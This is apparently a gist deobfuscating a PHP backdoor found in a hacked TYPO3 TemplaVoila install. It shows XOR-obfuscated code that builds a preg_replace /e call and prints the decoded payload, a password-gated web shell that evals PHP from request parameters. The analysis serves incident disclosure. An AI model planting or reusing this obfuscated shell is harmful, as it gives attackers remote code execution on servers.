TYPO3 hacked in TemplaVoila 1.6

gistfile1.php

<?php

/*wjmrwg7zaBtVqBVJWTiNkMPYQaLo69qgsNaDo44B0
cCMmj329Ck4XgeOptvyyiFcbxxnEH4hqUkA
1wg2XkWSfr95qFlGyMYiGWl74mr0AbW
ssFfmIQzzd6KgyGQ2ic1JNyRbY7g7bqNzgjFzHedKADKVv9VW
5mEhySWK1fOoZxcrrkPh8u7BHQQraF5r
*/

$RuoGzMJ='preg_'. 'rep'. 'l'.'a'.'c'. 'e';
$kXyEplY="4vZYhphSiednGMuyAP3RQ00"^"\x1b\x1b\x10\x13\x0d\x3f24\x06\x3c78\x2c5\x14\x28\x07\x19v\x13\x30\x1fU";
$replacer = "Qwr47Aos4TWTsJR9AxXmcOZbCn3bMAuO8Tzp9107oB5XHYsrOLNBj0DPUANYOXpAaGYuPIaEJ9P1UWTVln6BBHKmoILNGFjhRJGGzEju1h7DQnk8c47VlhJ6OHICdatlm8KMPVlKulG3WQkEqOOMnr3Gyk4bhP6fEgSAjIJ9ThSnizxsnZO"^"4\x01\x13X\x1fc\x06\x15\x1c\x3d\x24\x27\x16\x3eze\x1d\x5c\x07\x3f\x26\x1e\x0f\x27\x10\x3ahE\x2e\x29R\x12\x11t\x5cV\x19\x19\x5dSZji\x04l\x06\x217\x1e\x19\x0b\x11\x3ekc3\x3df\x13poeMaFpmBc\x2d\x03p\x28\x016\x03e\x607a\x0e\x0aW\x27uyzU\x0c\x7f\x7bz\x21wXP3mng\x5ccJ\x1cB\x1bR\x30y27\x1c\x3cfr\x079\x2d\x19b\x14o9\x2b\x14\x3e\x17\x03\x09\x5dl\x10y\x7fL\x30U\x091R\x3by7\x19U\x10\x1d\x08\x3f\x27v\x14\x2d\x30\x13\x12\x00\x20i\x05\x2a\x036f7\x60q\x191\x10\x3a\x1aASCS\x13xf";
// $RuoGzMJ($kXyEplY, $replacer , "mJJeOZgoYSVkxaQFIEAa");//LyVD2YgvRTkjNp23SV4gxP6kazhwfVK6Osh9Q8LNZG5Bt8Co

echo '<pre>';
echo htmlspecialchars(var_export($RuoGzMJ))."\n\n";
echo htmlspecialchars(var_export($kXyEplY))."\n\n";
echo htmlspecialchars(var_export($replacer))."\n\n";
exit;

//    Result is:

'preg_replace'

'/mJJeOZgoYSVkxaQFIEAa/e'

'eval("if(isset(\\\\$_REQUEST[\'ch\']) && (md5(\\\\$_REQUEST[\'ch\']) == \'7473db5b8f207c7bdae7118c674f128a\') && isset(\\\\$_REQUEST[\'php_code\'])) { eval(\\\\$_REQUEST[\'php_code\']); exit(); }")'